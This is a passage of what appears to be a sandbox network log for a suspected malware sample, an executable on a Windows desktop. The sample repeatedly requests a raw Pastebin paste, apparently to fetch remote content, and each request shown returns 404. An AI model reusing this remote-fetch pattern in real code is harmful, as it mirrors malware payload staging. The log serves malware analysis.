user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	54903	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:52 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:52 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 156 Server: cloudflare CF-RAY: 89cf5789ce8dc481-EWR
2024-07-02 14:31:52 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	54904	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:53 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:53 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 157 Server: cloudflare CF-RAY: 89cf578dbfdec32c-EWR
2024-07-02 14:31:53 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	54905	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:53 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:53 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 157 Server: cloudflare CF-RAY: 89cf57918e30437f-EWR
2024-07-02 14:31:53 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	54906	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:54 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:54 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 158 Server: cloudflare CF-RAY: 89cf57958d8542f5-EWR
2024-07-02 14:31:54 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	54907	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:55 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:55 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 159 Server: cloudflare CF-RAY: 89cf5799999f183d-EWR
2024-07-02 14:31:55 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	54908	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:55 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:55 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 159 Server: cloudflare CF-RAY: 89cf579deff30f8c-EWR
2024-07-02 14:31:55 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	54909	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:56 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:56 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 160 Server: cloudflare CF-RAY: 89cf57a1dda0c34e-EWR
2024-07-02 14:31:56 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	54910	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:57 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:57 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 161 Server: cloudflare CF-RAY: 89cf57a5d91bc33b-EWR
2024-07-02 14:31:57 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	54911	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:57 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:57 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 161 Server: cloudflare CF-RAY: 89cf57a9ba540c90-EWR
2024-07-02 14:31:57 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	54912	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:58 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:58 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 162 Server: cloudflare CF-RAY: 89cf57adac2a8c35-EWR
2024-07-02 14:31:58 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	54913	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:58 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:59 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 162 Server: cloudflare CF-RAY: 89cf57b1ab4b8cba-EWR
2024-07-02 14:31:59 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	54914	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:59 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:59 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 163 Server: cloudflare CF-RAY: 89cf57b59e6772a5-EWR
2024-07-02 14:31:59 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	54915	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:32:00 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:32:00 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 164 Server: cloudflare CF-RAY: 89cf57b989bd4283-EWR
